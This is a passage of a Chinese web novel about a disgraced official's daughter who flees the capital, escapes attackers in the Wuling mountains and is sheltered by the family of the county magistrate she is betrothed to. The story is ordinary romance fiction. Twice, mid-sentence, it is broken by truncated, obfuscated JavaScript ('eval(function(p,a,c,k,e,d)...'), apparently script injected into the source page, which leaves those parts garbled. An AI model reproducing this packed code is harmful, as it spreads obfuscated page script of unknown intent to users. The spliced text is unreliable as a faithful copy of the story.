《嫁给一个糙县令》 1. 相救 天色渐晚,武凌山上暴雨滂沱。 此处位于大越西南边陲,山高林密,蛇蚁丛生,素日里人迹罕至。年久日深,树木便生长得遮天蔽日,即使白日行走其间,也暗如黄昏。 沈京墨蜷缩成一团躲在一棵大树下,怀里死死抱着一个湿透的小包袱,瘦削的肩膀止不住发抖。 她的手上、素白衣裙上,就连脸上都沾满了泥水,头上所剩不多的首饰被雨水打得七零八落。 刚刚逃命时脚踝撞上了一块青石,沈京墨伸手一碰,当即疼出了泪来。 她仰起头四处张望。可这武凌山漫山遍野都是参天大树,天色又快全暗下去,倾盆的雨幕下,她根本辨不清方向。 身后不远处似乎又传来了那伙歹人的叫喊,沈京墨吓得浑身一抖,慌忙把暴露在外的裙角收了回来,紧紧攥在手里。 幸好雨声够大,足够掩住她不受控制的呜咽。 事到如今沈京墨也想不通,她堂堂御史大夫的独女,上京人人艳羡的沈大小姐,如何会沦落到这步田地—— 半个月前,她正陪闺中好友试改新衣,父亲却突然命人将她带回家中。她起初不悦,可见到父亲阴沉的脸和母亲哭红的眼,她恍然意识到,一定是出事了! 不止父亲母亲,沈府上下都笼罩在一片愁云惨雾中,似乎众人皆知晓发生了什么,唯独她这位无忧无虑的沈大小姐被蒙在鼓里。 “父亲如此匆忙唤靖靖回府,可是有何要事?靖靖愿为父亲分忧。” 靖靖是沈京墨的小字。当初她母亲柳氏怀她时,恰逢父亲沈饶被贬离京,一家人行至一个名叫永宁县的地方,母亲难产血崩,险些一尸两命,故而为她取小字靖,取其平安、安宁之意。 彼时沈饶沉沉看了沈京墨两眼,张口却是无言。沉默须臾,对着柳氏挥了下衣袖。 柳氏擦擦眼泪,拉过沈京墨的手,无比疼惜地抚着她的脸,像是要把女儿的模样深深刻在心里,可一开口,眼泪便又落了下来:“靖靖,我的靖靖,爹娘对不住你……” 原来,沈饶身为御史大夫,秉其职责监察百官,却发现文官贪墨,武官渎职,以至内有藩王蠢蠢欲动,外有强敌虎视眈眈,大越的江山社稷已然岌岌可危!故而沈饶冒死进谏,却不想言辞激烈触怒天颜。 皇上虽未当即发落,但沈饶已经从满朝文武那恨不得将他生吞活剥的目光中,知道了自己的下场。那日回来,他便因一条莫须有的罪名被革职查办,今早有人悄悄给他递来消息,圣上今日便会下旨,以犯上之罪将他全家问斩! 原本为了大越,他死不足惜,若能以他这一条命,换得君王醒悟黎民安生,他沈饶就是死一千次一万次又有何惧?! 可是,他沈家上下八十七口无辜,他的靖靖无辜啊! “靖靖,十七年前,娘生你时难产,是永宁县一个妇人保住了我们母女二人的命。你父亲将你许给了她的儿子,虽未留下一纸婚书,但那家人心地善良,定不会见死不救。如今沈府已经保不住了,可嫁出去的女儿不必受此牵连!娘为你准备了些盘缠……” 说着,柳氏的丫鬟送来一个白布包裹的小包袱,塞进了仍处在震惊之中的沈京墨怀里。 “后门有一驾马车,趁宣旨的公公未到,你快从后门走!车夫是娘雇来的,会一路将你送到永宁县!你到了之后,记得去寻一位姓陈的公子,二十岁出头,父亲是个采药为生的买卖人,叫陈大,母亲极擅接生,姓满。见到他,只管说你是沈家三郎的女儿。你父亲已经命人去信一封,他会娶你的……” 沈京墨双眸含泪看向柳氏,接着又去看沈饶,发现平日严肃沉闷的父亲此时也红了眼眶。 她在慌乱之中强行逼迫自己镇定下来,握住柳氏的手:“娘……娘!我们回到上京这多年,从未与那陈家有过来往,如今大祸临头,他们怎么会接受我这个烫手山芋呢?!我、我……我去求伯鸿哥哥!伯鸿哥哥的父亲是尚书左仆射,是陛下最信任的人,他一定会为父亲求情的!” 沈京墨口中的伯鸿正是尚书左仆射傅升之子傅修远。傅升是当今圣上跟前的红人,傅修远作为他的长子,品行端正,为人谦和,乃当世文人之楷模。 沈京墨自幼与他相识,若不是傅家迟迟没来提亲,他们早该结为连理。但即使他们并未成亲,甚至傅家尚未下聘,傅修远也是所有人心中,沈京墨的未来夫婿。 沈京墨也是这样认为,眼下沈家出了事,自然第一个想要去求他帮忙。 柳氏却一把拉住了女儿的衣袖,痛心道:“靖靖!若傅升真愿意帮你父亲,娘又怎么会送你去陈家呀!” 沈京墨的脑袋嗡得一下炸开了。 她怔怔地看着柳氏,喃喃问道:“傅大人……不肯为父亲说情么?” 柳氏老泪纵横,再说不出一个字来,只能抓着沈京墨的手用力地摇头。 管家此时走了进来,对沈饶和柳氏道:“老爷、夫人,宫里的李公公来了……” 沈饶抹了抹眼角,站起身来,尽管知道来者不善,却还是正了正衣冠,对柳氏道了句“时候到了”后,深深地看了沈京墨一眼,抬脚往屋外走去。 柳氏一听见这催命的鬼已经到了,再也来不及与沈京墨多说什么,将小包袱推到她怀里,推搡着,把沈京墨塞进了后门外等候的马车里。 等人上了车,马夫一抬鞭子,车轮滚滚向前奔去,连一句告别的话都没容沈京墨说。 “娘!娘——!!!” 沈京墨从车窗探出头,却只看见柳氏哭着晕倒在丫鬟肩上。 马车疾驰,很快便顺利地出了上京城。 沈京墨回头看着渐行渐远的朱红色城门,脸上擦不尽的泪被窗外呼啸的风吹干。 她很明白,这一别,极有可能就是永别。而这熟悉的上京城,她大概终己一生,都无法再回来了。 她坐在颠簸的马车里,眼泪不停地流下来,怎么擦都擦不完。 她想慈爱的爹娘,想陪她扑蝴蝶的小丫鬟翠蝉,想和爹一样不苟言笑的杨管家,想爱絮叨的厨娘王妈,想院儿里那些还没来得及开放的花。 一想到这一切的一切,她今后再也见不到了,而那远在千里之外的永宁县,那户姓陈的人家又是什么样子?会不会接纳她,会不会嫌弃她,会不会将她视为累赘,会不会把她抛弃,她全都不知。 她此生第一次觉得人生是如此的灰暗,竟教她看不见一丝光亮和希望。 沈京墨也不知自己究竟哭了多久,只记得她是在马车的颠簸声中昏睡过去,又在一阵寒冷中颤抖着醒来。 她发烧了,烧得很严重,但那雇来的车夫可管不了那么多,她只是一个没了家的破落小姐,他又只拿了沈家三十两银子,只需负责将这位娇气的大小姐送到永宁县去,至于到了那时这位小姐是死是活…… 就算死了,也是她福薄,随她全家去了,与他何干? 沈京墨只好又给了车夫五两银子,他才给她送了些水和药。但车夫急着赶路,没时间每日煎药,竟哄骗沈京墨说,把药材用凉水泡一泡,再将泡好的水喝下去也是一样! 沈京墨虽不精医药,却也知道车夫这话当不得真,但眼下有求于人,只得让大夫开了些生姜、紫苏叶、荆芥之类,泡水服用,勉强缓解些风寒之症。 就这样花了半个来月,沈京墨的马车终于来到了长寿郡以西的武凌山下。 “永宁县就在山那头,没路,车上不去,剩下的路得请大小姐自己走过去了。” 就在这前不着村后不着店的荒郊野岭,车夫将沈京墨赶下了车,随后一扬鞭子,很快消失在了她的视野中。 沈京墨虽心中不忿,却也无可奈何,站在山下望了半晌,轻叹一声,拎起裙摆开始爬山。 没走几步,迎面走过来七八个男人,不算壮硕,领头的甚至有些瘦骨嶙峋,看见沈京墨时,几人眼里全都闪烁起令人不适的精光。 领头那人獐头鼠目,脏手搓摸着下巴朝沈京墨走来。沈京墨虽然久居上京深宅大院,但那猥亵的目光落在她身上,她还是本能地低头绕开,却被剩下几人张开手臂给围了起来。 “怎么瞧见了哥哥就走啊,妹妹?”领头人冲沈京墨笑,露出一口 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沈京墨只顾着逃命,可软底的绣鞋就连长时间走路都不适合,她才跑到半山腰,就觉得心脏突突地快要蹦出嗓子眼,脚底火辣辣的疼。 …… “散开找找!她穿着白衣裳,那么显眼,跑不掉的!他娘的,还挺能跑,等老子逮着你,非把你玩儿死不可!” 那群歹人的声音靠得更近了。 沈京墨躲在树后,双手紧紧捂住嘴巴防止被人听见她的喘/息声。 雨依旧很大,她听不见那些人的脚步声,只好尽力平息自己的呼吸,又过了片刻,终于鼓足勇气,壮着胆子小心翼翼地从树后探出头去。 雨幕让她看不清太远的东西,沈京墨只看见了其中一个矮个子向她这头走来,其余人八成是去了其他方向。 沈京墨蹲下身去,双手沾上地上的泥浆匆匆涂抹在自己的脸上身上,好遮一遮这白得显眼的衣裳和肌肤,然后抓起了一块她勉强能够一手握住的石头,站起身,屏住呼吸等着矮个子走过来。 脚踩过湿漉漉的落叶的动静传来,沈京墨的心狂跳不止。 她微微往树的另一侧挪动了半步,几乎没有发出半点声音地绕到了那人身后,高高举起手中的石头,照着矮个子的后脑勺狠狠砸了下去! 矮个子甚至没来得及发出声音,就像根面条似的软倒了下去。 也不知这人到底死了没有,但其他人见不到他,迟早会找过来。 沈京墨双手颤抖着丢下石头,看着矮个子的后脑勺上一个血肉模糊的黑洞,鲜血随着雨水的冲刷往她脚下淌来。她脸色惨白地呆愣了片刻,突然没命似的朝山上跑去。 身后似乎传来了那些人的叫喊声,叫嚣着等抓住了她一定要让她死得很难看。 雨越下越大,沈京墨不停地用手抹着流进眼里的雨水,在雾一般的雨中寻找着出路。 她的风寒一直没好透,被雨淋了一路,又跑出一身的汗,沈京墨摸了摸自己的额头,似乎又发烧了。 但她只能继续跑下去。 终于,不知跑了多久,就在沈京墨快要昏厥之时,在漆黑的密林中,在遮天的雨幕下,她突然看见了一点黄色的烛光。 沈京墨跌跌撞撞地向着光的方向跑去。 苍天啊,如果可以,她希望那烛光是娘来接她了。 她不想再这样绝望的、漫无目的地在人世间跑下去。 她想爹娘,她想回家…… 沈京墨再也无力奔跑,在距离那烛光还有几步之遥时,她终于身子一软,瘫倒在了地上。 雨打湿了她的视线,在沈京墨彻底晕过去之前,她看见那烛光走向自己,两个披着蓑衣、头戴斗笠的人来到了她面前。 手中提灯的那人身形高大,如同一座大山一般将她笼罩在他的阴影里。蓑衣之下的身姿十分挺拔,宽大的斗笠沿遮住了他的眉眼,只露出一张棱角分明的下巴和颈上一截小麦色的皮肤。 另一个稍矮些的人一蹦一跳地来到她跟前。 “哥!是个姑娘!” 2. 劝婚 沈京墨醒来时,眼前咫尺间悬停着一张男人的脸。 她的脑子烧得有些糊涂,木讷地眨了眨水润的眼,下一刻才叫出了声。 “啊!” “啊!!!!爹她醒了她醒了!” 两声堪称凄厉的尖叫同时响起,那张脸倏然远去。沈京墨慌忙坐起身来,这才发现自己已经换上了身干燥的衣裳,布料十分粗糙,割得她细嫩的皮肤有点疼。 而刚才盯着她瞧的,严格来说并不能说是男人,而是个看上去不过十二三岁的少年,身子板单薄,一张脸嫩生生的,见她醒来,高兴地跑出屋去,不一会儿又拖着一个头发胡子花白的男人走了进来。 男人眼角脸上都是细纹,头发梳得一丝不苟,看上去精神矍铄。 见两个陌生男人走过来,沈京墨害怕地抱着被子向后挪去,直到后背顶在了墙上,两只无辜又水灵的眸子大睁着,惶恐不安地盯着两个人。 上年纪的男人忙将少年拦了下来,隔着几步远和沈京墨说话。 “姑娘别怕,刚才你在武凌山里迷路了,是我俩儿子把你背回来的。正好你也醒了,我给你熬了驱寒的药。猫儿,去把药端来。” 少年站在男人身后,眼巴巴地盯着沈京墨瞧,听见男人叫他“猫儿”,略显不满地嘟囔着“能不能别叫我小名儿?我又不是没名字”,但还是听话地跑去将刚煎好的药端了进来,放在沈京墨床头又匆匆退下。 沈京墨刚刚被一群歹人撵了半座山,如今正警觉,瞥了那黑乎乎的汤药一眼没有喝。 男人见状,自报家门:“姑娘别担心,我那大儿子是永宁县的县令,小儿子虽然调皮捣蛋,但心肠不坏,不会欺负你的。你那身衣裳也是隔壁张大娘来换的。你是哪家的姑娘啊?怎么从来没见过?” 永宁县的县令,那就是这一方的父母官。虽然只是个芝麻绿豆大的七品小吏,但好歹算个官。 沈京墨这才稍稍放下心来,毕竟在大越冒充官吏可是要掉脑袋的大罪,想来这人没有说谎。 但想起自己全家被下狱,就是因为父亲揭发了百官的贪墨渎职,如今在沈京墨心里,大越的官没一个好人。只是对方毕竟救了自己的命,看样子心地不坏,她才没有立刻逃出这间屋子去。 “爹,她好像不会说话!哎哟!”少年头上挨了男人一记爆栗,走到一边委屈巴巴地揉脑袋去了。 “没事儿没事儿,这孩子心直口快,姑娘别往心里去。你还在发烧,好好休息吧。”男人说完,提溜着名叫“猫儿”的少年的耳朵走了出去,留下沈京墨一人在房中休息。 直到四下无人,沈京墨才终于稍稍放松下来,四下打量起这间屋子。 床不算宽,和她闺房里那张紫檀木的床比不了,但却很长,似乎是专门打成这样长长一条,沈京墨甚至怀疑做这张床那个人是把加在横处的木板错延在了纵处。 除此之外,房间里就只剩下一张桌子、一把椅子,和一个放在墙角的脸盆,脸盆边沿搭着一条巾子。 实在是简陋得可怜,她还从未住过这么破败寒酸的屋子。沈京墨低头看了看身上这床被子,竟然意外的软和厚实,和床角放着的另一条单薄的被子一比,已经算是贵重了。 想必这永宁县并不富裕,就连县令家中都没有几件像样的家具,这条被子大概是他们能拿出来的最好的一条,用来照顾她这个来历不明还一身污泥的人,实在是破费了。 沈京墨这样想着,感觉身体暖和了一些,便把被子整整齐齐地叠了起来放好,坐到床边,低头打量起那碗药。 这家人看上去不像坏人,虽然她对自己看人的能力并没有多大信心,但还是咬咬唇,将药碗端了起来——她的风寒没有好透,又遭遇了刚才那一劫,不喝点驱寒的汤药,只怕又得大病一场。 碗边上有两个豁口,沈京墨瞧见了,小心翼翼地把豁口转到另一面去,吹了两下,才端到嘴边。 “吱呀”一声,房门突然被人打开,沈京墨被那药汁烫了一下嘴,慌忙把碗放下,一只手掩住针扎般刺痛的唇,抬头望去,是猫儿端着一碗热粥和一块干馍走了进来。 “我爹说刚才见你发烧,急着煎药,忘了告诉你,要是肠胃不好,就先吃点东西再喝药,省得喝了难受。” 沈京墨跑了半天,的确也饿了,拿起馍来掰下一小块放进嘴里,顿时五官都皱成了一团。 好酸!好硬!好难吃!她还从没吃过面里掺着石子的馍! 猫儿蹲着身子给角落的脸盆里倒水,看见她的表情,笑得槽牙都露了出来。 沈京墨只好把馍放下,低头去看那碗粥,却发现那充其量只能叫做米汤,清澈的汤底静静地躺着可怜的几颗米。 沈京墨咬了咬唇,强忍着饥饿,没有去喝。 能拿来招待病人,想必这已经是这家人能拿出的最好的东西了,左右她也吃不惯,还不如留给他们。 这一路西行,沈京墨虽然没有太多机会下车走走,但也多多少少了解到,大越并非都如上京那般繁华,越往西行,她见到的饿殍就越多。 她只好静静地坐在那儿,看着猫儿把脸盆涮了一遍,又倒上了干净的水,端到她面前的桌上,见她只吃了一小口馍就没再动嘴,指着粥碗问她:“你不饿吗?” 沈京墨摇摇头,哑着嗓子开口:“有劳恩人挂怀,我不太饿。” 猫儿脸色一变,像是受到了惊吓,随即又乐了起来:“原来你不是哑巴!” 沈京墨见他笑自己,脸上微微一热。她何时说过自己不会说话?明明都是他乱猜的。 不过少年目光清澈,看上去并无恶意,沈京墨也不愿与他计较这点无伤大雅的小事,只是岔开了话题:“还不知恩人姓名。” 她说的话好像有些难懂,猫儿挠了挠脑袋,才理解了她的意思,道:“我叫陈川柏,我哥叫陈君迁!刚才就是他背你回来的。也是你运气好,今天村里有不少叔叔婶子出去镇上,我哥怕下雨山滑不好走,带我去接人,正好捡到你了。” “他把你放下就又去山那头接人去了,说是还有几个人没接到,估计得有一会儿才能回来呢,”少年又说,“哦对了,你别听我爹叫我什么猫儿啊狗儿啊的,那都是他瞎起的,我平时都不让他那么叫的……”虽然最后一句很没底气就是了。 沈京墨莞尔,没再说话。 名为陈川柏的少年又指着粥碗问了她一遍:“你真不饿?”见沈京墨还是摇头,他这才不客气地把碗端到自己面前,抓起馍来啃了一大口,狼吞虎咽起来。 等他风卷残云般喝完了一碗粥、吃掉了大半个馍,才想起面前还有个陌生的姑娘似的,白净的脸刷得一下红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈君迁虽然冒着雨,山上山下来来回回地背着许多上了年纪、雨天走山路不安全的叔婶们跋涉了半夜,眼下已经有些疲惫,但还是十分配合地装出一副凶神恶煞的模样,去追陈川柏。 追到门口,却和正要进屋的父亲陈大撞上了。 父子两人一见面,登时一个调头往屋里走,一个后脚紧跟着就追了进来,苦口婆心不厌其烦再三劝导起来。 “虎子啊,昨天沈三郎的信就到了,送到你的县衙去你也不听。那是你未婚妻,你俩定了娃娃亲的,怎么能说不娶就不娶了呢?!那我们陈家成什么人了?” 陈君迁一脸不耐烦地走到桌边,他爹就跟到桌边。陈君迁蹲到墙角,他爹就跟着蹲在他眼前,充满希冀地眨巴着眼睛盯着他看。 最后他干脆大喇喇往床上一躺,也不顾一身的雨水和一脚的泥,闭上眼做出一副要睡觉的样子,还嫌弃地抹了把脸。 “这一顿吐沫横飞的,不知道的还以为今儿这雨是您站山顶上下的呢。” 陈君迁这一副死活不听劝的样子,气得陈大手直哆嗦,痛心疾首地指着他呼号。 “你不就是惦记着那张画里的美人吗?可那是画,画!谁家好人拿张纸板板当老婆哟?!” 3. 误闯 “你说你今年都二十四了,咱村里谁家二十啷当岁的小伙子还没娶妻啊?就你!天天摆弄你那画里的人儿,你是指望那张纸片给你生小纸片呐?!” 陈大扒拉过一张矮板凳,坐在陈君迁床前一脸痛心地控诉陈君迁的不孝行径。 “你娘去得早,就操心你的亲事,给你定了门亲你又不要……你!你早晚是要把我也气死啊你!” 陈君迁被吵得头疼,无奈地揉了揉脑袋,坐起身来:“爹,人沈老爷跟咱定亲时正仕途失意,后来重回上京,这事就没再提过。如今要把女儿下嫁给我也是因为家中落难,又不是人家自愿。我要真把人给娶了,这不是趁人倒霉占人便宜吗?万一哪天沈老爷翻案了,我是让人大小姐归家还是不让?” 他话说到一半,陈川柏从厨房端了菜饽饽进来给他。 山里人家能吃的东西不多,地里种的菜还没熟,好在眼下这个季节,山上野菜多得是,摘回来洗净切碎,混上少量的黄米面上锅一蒸就是一餐饭。 陈君迁摸摸自己的肚子:“别说,翻了七八趟山我还真饿了。” 说着就伸手去拿菜饽饽,可还没挨着菜饽饽的边,手背就让陈大结结实实扇了一巴掌。 “还吃!沈小姐马上就到,你不娶你就别吃我做的饭!” 陈大说完瞪了陈君迁一眼,从陈川柏手里端过那一大盘子菜饽饽,拿起一个放进嘴里狠狠咬了一大口,转身出去了。 陈君迁皮糙肉厚,被打一下也不疼不痒,见陈大要走,抻长了脖子问他:“哎!还下着雨呢,你干啥去?” 门外传来一声没好气的:“我去山上收我的神通去!” 陈君迁和陈川柏兄弟俩对视一眼,“吃吃”笑了起来。 笑完了,陈川柏又从怀里掏出来一块菜饽饽塞给陈君迁,朝他挤眉弄眼:“呐,我厉害吧?是不是很有先见、先见……什么来着?” 陈君迁照着他后脑勺轻轻拍了一巴掌:“先见之明!” 陈川柏“哎哟”了一声,躲到一旁揉脑袋去了。 陈君迁风卷残云一般,几口就将一整个噎人的菜饽饽吃下了肚。 眼看天也不早了,他简单地漱了漱口,准备休息。脱鞋的时候才意识到,自己还穿着县衙统一发放的官靴。 方才下雨,山上的土路都变成了泥洼,滑不溜秋的,万一不小心滑一跤,普通的布鞋前面就得撕开个口子,还是官靴结实些,又防滑,但到了家里穿就不合适了,又闷脚又不舒服,不如换上自己的。 陈君迁站起身来。 “哥,干啥去?” “管那么多,睡你的觉去。我回来之前还没睡着,你的床就归我了。” 陈君迁话还没说完,陈川柏就一个飞扑摔进了自己的床里,张开胳膊腿趴成一个“大”字,装模作样地打起呼噜来了。 陈君迁笑着在他屁/股上抽了一巴掌,往东屋走去。 陈家的院子在这葡萄村里不算小,但能住人的总共就只有东屋西屋这两间房,剩下就是一个小的只能容一人进去的厨房,其余的空间全都留给了家里养的猪和鸡鸭,以及陈大的一小片菜地。 原本东屋是陈家父母住的,陈君迁兄弟俩住西屋。后来陈母去世,等陈君迁长大些,陈大就搬去了西屋和陈川柏同住,东屋归了陈君迁。 他的衣裳鞋袜都在东屋,自然得去取一趟。 * 东屋。 沈京墨正涤洗着手里的巾子。 盆里的水是冰凉的,好在还算干净。她把洗好的巾子叠起来,还没擦着脸,就闻到一股淡淡的腥味。 沈京墨一怔,慌忙把巾子拿远翻看起来。可那巾子虽说旧了些,倒也干净。她不信邪地又凑上前去闻了一闻,胃里仅有的那一口干馍差点吐出来。 不是巾子,是水,腥味来自水里。 沈京墨不知道,村里吃水用水,都靠从附近一条河里挑水解决。眼下正值四月雨季,几日连着下雨,河水都变浑了,水缸里的水就算沉淀过泥土,味道终究是去不掉的,河腥味加上土腥味混在一起,自然难闻。 以往在沈府时,她用来擦脸沐浴的水都有专人烧开,放凉后再用花瓣浸泡半个时辰后才会端到她面前,水里自带一股花香,她还以为世上的水本就该是香的,再不济,也该是没有味道的。 可眼下除了这带着泥腥味的水,又没有干净的水可用。 沈京墨想不洗了,但脸上的泥巴比这水还要脏,半湿不干地粘在皮肤上,时间久了还有些火辣辣的。 她一时间洗也不是,不洗也不是,拿着巾子坐在椅子上,眼泪吧嗒吧嗒掉。 她是御史大夫、正四品大员的女儿,打小锦衣玉食,不说堪比公主贵人,可衣食住行也都享受着该有的规格,加上父母疼爱备至,只要是她想要的、父母能给的,从来都不吝啬,何时让她受过这样的委屈? 但她只呆呆地哭了一会儿,泪就止住了。 沦落至此,她能怪谁呢? 怪父亲为人太过耿直刚正吗?当然不能,父亲做的没有错,他是个好官,对得起他的职责和那身官袍。 怪傅大人、怪伯鸿哥哥不肯求情吗?但也许他们已经试过了,只是皇帝不愿意赦免父亲的罪呢? 怪皇帝吗?那可是皇帝,天下人的主子,他做什么都是对的,为人臣子的,怎么能怪罪皇帝呢? 怪百官吗?可百官是谁呢?除了父亲和傅大人、还有几个好姐妹的父亲兄长外,她甚至连一个具体的官都找不出来,又要怎么去怪他们呢? 沈京墨想了半天,最后发现,除了怪自己的命太苦之外,她竟然找不到一个可以责怪的对象。 哭累了,她趴在桌上深吸了几口气,这才又拿起那方巾子,屏住呼吸,快快擦起脸来。 屋里只有这一盆臭水,沈京墨没法沐浴,眼看夜也深了,她不好去打扰恩人一家,只好将就一下,先把颈子、手臂和脸擦上一擦,等明日到永宁县城找家干净的客栈再沐浴。 脸上的泥巴很快清理干净了,沈京墨解开衣裳最上面几颗盘扣,去擦脖颈。 她力气小,那巾子又粗糙划手,若是用力拧,会把她细嫩的掌心磨得通红一片。她只能尽力把水分挤出来再用,但总有些拧不干的水珠,随着她一下一下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他没上过学堂,也就是听过说书先生讲故事,知道几个成语,勉强纠正陈川柏还行,要让他形容方才所见,就是想破了脑袋,也只能想到八个字:沉鱼落雁,闭月羞花。 要再具体些,他只能说,那水灵灵的眼,白生生的脸,红艳艳的嘴,黑漆漆的头发…… 和那幅他珍藏了三年的画相中的女子,竟长得一模一样! 陈君迁当场石化,只觉得胸膛里那颗心脏这辈子都没跳得这么无法无天过! 屋里头,沈京墨一双惊恐又无辜的杏眼死死地盯着房门。 她攥着衣领的手还在止不住地发抖,急促的呼吸中带着难以抑制的哭音。 虽然方才她因太过害怕,没看清那人的脸,但看身形分明是同一个人,一个高大的、强壮的、看起来一脚就能踢碎这扇薄薄屋门的健硕的男人! 若要说第一次开门是不知她在屋里,也就罢了。可他都看见她在擦洗身子了,退出去之后竟又折返回来! 沈京墨的脸红得快要滴血,惶恐与委屈涌上心头,眼里忍不住闪烁起了泪花。 他、他简直…… 登徒子! 4. 出事 见陈君迁迟迟没回来,陈川柏爬下床穿好鞋,溜进东屋找他。 陈君迁正直挺挺地站在东屋门口,一只手抵着门板,另一只手“咚咚”地捶打自己的胸口。 他的心脏跳得太猖狂了,他在想办法让它安分点。 陈川柏不知内情,看见他的动作,脚步一顿:“哥,菜饽饽噎住啦?”说完就要去给他拿水,却被陈君迁一把薅住衣领揪了回去。 他弯下腰去低声问弟弟:“你看见这姑娘长什么样了么?” 陈川柏摇摇头:“一脸泥,跟个泥猴似的。” 陈君迁敲他脑壳:“去看看是不是和哥那幅画里的姑娘长得一样?” 陈川柏一听顿时张大了嘴,发出一声夸张的“啊?”,一脸“这我可得好好瞧瞧”的表情,抬腿就要进屋。 陈君迁无奈地改敲自己脑门:都怪他们一家只有三个大老爷们儿,这小子从小没和女人同住过一个屋檐下,一点不懂避讳。 他直接抓住陈川柏背上的衣裳把他提了起来,径直往外走去。 “太晚了,明儿再看。半大小子深更半夜往人家姑娘屋里闯,羞不羞?” 至于他闯了两次这件事,陈君迁半个字也没提。 东屋里头,沈京墨好不容易回过神来,小心翼翼地趴在门上听着外面的动静。 她不知道那高大男人是不是就是这户人家的长子、永宁县的县令。若是,未免也太粗鄙无礼了。 不一会儿,外面没了动静。 但经过今天这一遭,本就胆小的沈京墨变得更加谨慎。虽然那男人现在走了,但保不齐等下还会再来。 她在屋里环视一周,决定把桌子搬来堵在门后。 可那桌子太重,她试了好几次,小脸都涨得通红,也没挪动它半分。 没办法,她只好将那把椅子连拖带拽地搬到门后抵住门,想想觉得不妥帖,干脆自己也坐了上去增加重量。 但转念又一想,那男人壮实得像座小山似的,万一这些都挡不住他,自己坐在门口岂不是更方便被他抓到? 沈京墨被自己的想法吓得跳将起来,盯着椅子不放心地看了许久,最后把盛了半盆水的脸盆放到了椅子上,又把桌上一切能拿得动的东西,药碗、她的湿衣裳,甚至是自己头上仅剩的几支钗子,都一股脑地堆在了椅子上。 做完这一切,沈京墨一溜烟跑回床上,摊开被子把自己裹成颗粽子,缩在床角,眼睛眨也不眨地盯着屋门。 直到天快亮时,她才支撑不住,昏昏沉沉地睡了过去。 * 沈京墨这一夜睡得极不踏实,一闭上眼,脑海中便都是与爹娘在一起的幸福时光。 她是家中独女,爹娘疼得紧。柳氏疼她不必多说,就算是不苟言笑的沈饶,沈京墨年幼时,每到休沐也定会抱着她出去转转。 可转眼间,一家三口其乐融融的画面染上了血色。爹娘和沈家众人皆身披枷锁,在官差的驱赶下,赤着脚散着发,狼狈不堪地走过漫漫长街。行刑官一声令下,血溅三尺,一个脑袋骨碌碌滚到她脚下,死不瞑目地盯着她。 沈京墨惊醒了。 窗户关着,从缝隙里透进些光亮。她怔怔地盯着那一丝光线瞧了半晌,才想起自己如今身在何方。 也自然而然地,想起了昨夜那个两次擅闯她房间的男人。 她的眼泪又流了下来,既是思念亲人的泪,也是害怕和委屈的泪。 直坐到日上三竿,雨也早就停了,她才擦干眼泪,壮着胆子把椅子挪开,将房门打开一条缝,探出头去飞快地看了一眼。 屋外没人,她只闻到暴雨过后土地湿漉漉的气息,以及一阵分辨不出是什么的臭味。 沈京墨皱起眉头,捂着鼻子寻找起味道的来源—— 这也是她第一次看见这个小院。院子不大,甚至比不上沈府的后花园。四面石头砌的院墙很矮,她站在屋里,踮起脚,勉强能看见院外。 院门靠近她这间屋子,另一侧的屋门口有一小片地,种着些她叫不上名字的菜,有些叶子很大,有些又直又细,露出下方松软的土来。 菜地周围扎着一圈很矮的篱笆,旁边用参差不齐的石头块圈起了一块地方,不时传来什么东西哼哼唧唧的声音。 沈京墨一时分不清臭味到底是从菜地传来,还是那哼唧的方向传来,但院子里的空气确实有些难闻,她实在呆不下去,想要退回屋里去,可刚退半步,脚下就踩到了什么东西。 软的、带毛、温温热热的。 沈京墨“啊”的一声尖叫着跳了起来。 被她踩了一脚的东西也“叽”的一声尖叫起来,扑扇着翅膀一瘸一拐地,一头扎进了沈京墨房中。 “怎么了怎么了怎么了?!发生什么事了?!” 这边的动静招来了陈川柏,十三岁的少年拎着根擀面杖粗的树枝火急火燎地从屋后跑了过来。 “屋里、屋里……”沈京墨不敢进去,指着上蹿下跳、鸡毛落了一屋的母鸡差点哭出来,“我不小心踩到它了……” 她话还没说完,陈川柏已经抓着母鸡的翅膀,把它提了出来,笑着往沈京墨面前一递:“呐,抓住了!” 他这么一抬头,才第一次清楚地看到了沈京墨的脸。方才听见她叫,跑来得急,差点忘了哥让他办的事儿。 瞧见沈京墨长相的那一刻,陈川柏的眼睛瞪得滴溜圆,嘴也张得能塞下一整个菜饽饽。 乖乖,这水灵灵的眼,白生生的脸,红艳艳的嘴,黑漆漆的头发……画里的人真活了啊! 沈京墨看见他的表情也吓了一跳:“它……不会被我踩坏了吧?” “啊?”陈川柏一愣神,手上的劲就松了,母鸡趁机挣脱出来,“咯咯”叫着跑回鸡窝里去了。 “没事儿,它好着呢。那个,你饿了吧?我去给你拿两个菜饽饽。家里没干馍了。” 沈京墨本能地想要拒绝,但昨晚水米未进,她实在是饿极了,只好道了声谢,想要跟着陈川柏去拿吃食,可一抬脚,却发现地上竟有一坨黄绿色的鸡屎,再抬头,才发现不止脚下这一处。 沈京墨瞬间脸都白了,飞快地往后退了几步,回到屋里等陈川柏。 菜饽饽很黏也很噎,沈京墨硬着头皮吃了半个就吃不下了。她还得去永宁县寻她的未婚夫,便向陈川柏打听路线。 陈川柏一听她也要去永宁县,乐了——昨天夜里哥交给他的任务他现在办妥了,正准备去县里找他呢。 “真巧,咱们顺路,你跟着我就行了!” 沈京墨不知道陈川柏在乐什么,悄悄将一支钗子留在桌上作为报答后,确定自己脚踝已经不怎么痛了,才换上已经晾干了的素白衣裙,抱上自己的小包袱,踮着脚趟过一地风干鸡粪的小院,跟他一道往县里走去。 走出几步,她回头看了一眼住了一晚的小院,轻轻舒了口气。 总算能离开这里去永宁县了。 * 陈君迁天刚亮就被县衙的衙役叫走了,说是武凌山上发现了一具男尸,苦主一早就告到了衙门。 等他赶到现场时,仵作已经初步验过了伤,正等着向他汇报。 